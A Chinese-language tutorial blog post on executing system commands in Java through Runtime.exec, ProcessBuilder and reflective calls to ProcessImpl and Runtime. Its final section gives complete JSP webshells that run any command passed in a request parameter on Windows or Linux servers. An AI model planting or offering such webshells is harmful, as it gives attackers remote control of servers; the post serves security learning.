美文网首页
Java 命令执行

Java 命令执行

作者: CSeroad | 来源:发表于2021-06-06 14:13 被阅读0次

    前言

    在学习了反射之后赶紧看一下执行系统命令的一些类。

    执行命令的类

    RunTime类

    也是用的最多的一种,通过Runtime类的exec方法执行系统命令。
    关键代码为:

    Process p = Runtime.getRuntime().exec("calc");
    

    结合IO操作,将结果打印出来,代码为:

        public void test3() throws IOException {
            try {
                Process p = Runtime.getRuntime().exec("whoami");
                InputStream input = p.getInputStream();
                InputStreamReader ins = new InputStreamReader(input, "GBK");
                //InputStreamReader 字节流到字符流,并指定编码格式
                BufferedReader br = new BufferedReader(ins);
                //BufferedReader 从字符流读取文件并缓存字符
                String line;
                while ((line = br.readLine()) != null) {
                    System.out.println(line);
                }
                br.close();
                ins.close();
                input.close();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    

    过程:
    通过Runtime类的exec方法执行命令获取输入流getInputStream(),再InputStreamReader处理流转换为字符流,并指定gbk的编码格式。BufferedReader缓冲流读取文本到缓冲区,再通过readLine()方法打印出结果。

    ProcessBuilder 类

    ProcessBuilder类通过创建系统进程执行命令。
    关键代码为:

    ProcessBuilder builder = new ProcessBuilder("calc");
    Process process = builder.start();
    

    将获取到进程中的输出信息和错误信息,通过IO流的方式的读取。

        public void test3() {
            try {
                String[] cmds = new String[]{"cmd","/c","ipconfig"};
                ProcessBuilder builder = new ProcessBuilder(cmds);
                Process process = builder.start();
                InputStream in = process.getInputStream();
                //获取输入流
                InputStreamReader ins = new InputStreamReader(in, "GBK");
                // 字节流转化为字符流,并指定编码格式
                char[] chs = new char[1024];
                int len;
                while((len = ins.read(chs)) != -1){
                    System.out.println(new String(chs,0,len));//字符串类型输出
                }
                ins.close();
                in.close();
    
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    

    过程:
    通过ProcessBuilder类执行系统命令。
    相比较Runtime类执行系统命令,这次试用String[]字符串数组指定程序执行的系统命令。
    如果是windows,则为
    String[] cmds = new String[]{"cmd","/c","ipconfig"};
    如果是linux,则为
    String[] cmds = new String[]{"/bin/bash","-c","ifconfig"};
    在打印的时候字符强制转换为字符串。

    反射调用ProcessImpl类

    Runtime和ProcessBuilder执行命令实际上调用的也是ProcessImpl类。
    对于该类,没有构造方法,只有一个private类型的方法,可以通过反射调用。
    关键代码为:

    Class clazz = Class.forName("java.lang.ProcessImpl");
    Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, Redirect[].class, boolean.class);
    method.setAccessible(true);
    Process e = (Process) method.invoke(null, new String[]{"calc"}, null, ".", null, true); 
    
        public void test3() throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
            //String[] cmds = new String[]{"cmd","/c","ipconfig"};
            String[] cmds = new String[]{"/bin/bash","-c","touch 3.txt"};
            Class clazz = Class.forName("java.lang.ProcessImpl");
            //获取该class类
            Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
            method.setAccessible(true);
            //忽略访问权限
            Process invoke1 = (Process) method.invoke(null, cmds, null, ".", null, true);
    
            InputStream input = invoke1.getInputStream();
            InputStreamReader ins = new InputStreamReader(input, "GBK");
            //InputStreamReader 字节流到字符流,并指定编码格式
            BufferedReader br = new BufferedReader(ins);
            //BufferedReader 从字符流读取文件并缓存字符
            String line;
            while ((line = br.readLine()) != null) {
                System.out.println(line);
            }
            br.close();
            ins.close();
            input.close();
            invoke1.getOutputStream().close();
        }
    

    反射调用Runtime类

    关键代码为:

    Class clazz = Class.forName("java.lang.Runtime");
    Constructor constructor = clazz.getDeclaredConstructor();
    constructor.setAccessible(true);
    Object runtimeInstance = constructor.newInstance();
    Method runtimeMethod = clazz.getMethod("exec", String.class);
    Process process = (Process) runtimeMethod.invoke(runtimeInstance, "calc");
    

    java.lang.Runtime类的无参构造方法私有的,可以通过反射修改方法的访问权限setAccessible,强制可以访问,然后获取类构造器的方法。再通过newInstance()创建对象,反射再调用方法。

        public void test3() throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
            //String[] cmds = new String[]{"cmd","/c","ipconfig"};
            String[] cmds = new String[]{"/bin/bash","-c","touch 1.txt"};
            Class clazz = Class.forName("java.lang.Runtime");
            // 2. 获取无参构造器
            Constructor declaredConstructor = clazz.getDeclaredConstructor();
            declaredConstructor.setAccessible(true);
            // 3. Constructor.newInstance() 创建对象
            Object o = declaredConstructor.newInstance();
            //Runtime o1 = (Runtime) o;
            // 4. 获取方法
            Method show = clazz.getDeclaredMethod("exec", String[].class);
            Object invoke = show.invoke(o, (Object) cmds);
            Process invoke1 = (Process) invoke;
    
            InputStream input = invoke1.getInputStream();
            InputStreamReader ins = new InputStreamReader(input, "GBK");
            //InputStreamReader 字节流到字符流,并指定编码格式
            BufferedReader br = new BufferedReader(ins);
            //BufferedReader 从字符流读取文件并缓存字符
            String line;
            while ((line = br.readLine()) != null) {
                System.out.println(line);
            }
            br.close();
            ins.close();
            input.close();
            invoke1.getOutputStream().close();
        }
    

    jsp 命令执行

    学习了java执行命令的方法,顺手也就会了jsp命令执行的webshell。

    <%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>
    <%@ page import="java.io.*"%>
    <%
    out.print(System.getProperty("os.name").toLowerCase());
    String  cmd = request.getParameter("cmd");
    if(cmd != null){
        Process p =  Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",cmd});
        InputStream input = p.getInputStream();
        InputStreamReader ins = new InputStreamReader(input, "GBK");
        BufferedReader br = new BufferedReader(ins);
        out.print("<pre>");
        String line;
        while((line = br.readLine()) != null) {
            out.println(line);
        }
        out.print("</pre>");
        br.close();
        ins.close();
        input.close();
        p.getOutputStream().close();
    }
    %>
    

    Runtime方法为例,将try语句直接移动过来。System.out.println()修改为out.println(),添加out.print("<pre>")格式化输出,import导入所需要的包。

    image.png

    将脚本改成适用于windows和linux。

    <%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>
    <%@ page import="java.io.*"%>
    <%
        try {
            String os = System.getProperty("os.name");
            if(os.toLowerCase().startsWith("win")){
                out.print("windows");
                String  cmd = request.getParameter("cmd");
                Process p = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",cmd});
                InputStream input = p.getInputStream();
                InputStreamReader ins = new InputStreamReader(input, "GBK");
                BufferedReader br = new BufferedReader(ins);
                String line;
                out.print("<pre>");
                while((line = br.readLine())!=null) {
                    out.println(line);
                }
                out.print("</pre>");
                br.close();
                ins.close();
                input.close();
                p.getOutputStream().close();
            }else{
                out.print("Linux");
                InputStream in = Runtime.getRuntime().exec(request.getParameter("shell")).getInputStream();
                InputStreamReader ins = new InputStreamReader(in);
                char[] chs = new char[1024];
                int len;
                out.print("<pre>");
                while((len = ins.read(chs)) != -1){
                    System.out.println(new String(chs,0,len));
                }
                out.print("</pre>");
            }
        }
        catch (IOException e) {
            e.printStackTrace();
        }
    %>
    

    总结

    通过收集、编写一些命令执行的方式,对java的命令执行有了初步了解,且对比之前的反射机制多了一些理解。

    参考资料

    https://www.anquanke.com/post/id/221159
    https://www.bookstack.cn/read/anbai-inc-javaweb-sec/javase-CommandExecution-README.md
    https://ca01h.top/Java/code/6.Java%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E4%B9%8B%E6%9C%AC%E5%9C%B0%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/

    相关文章

      网友评论

          本文标题:Java 命令执行

          本文链接:https://www.haomeiwen.com/subject/sjtpmktx.html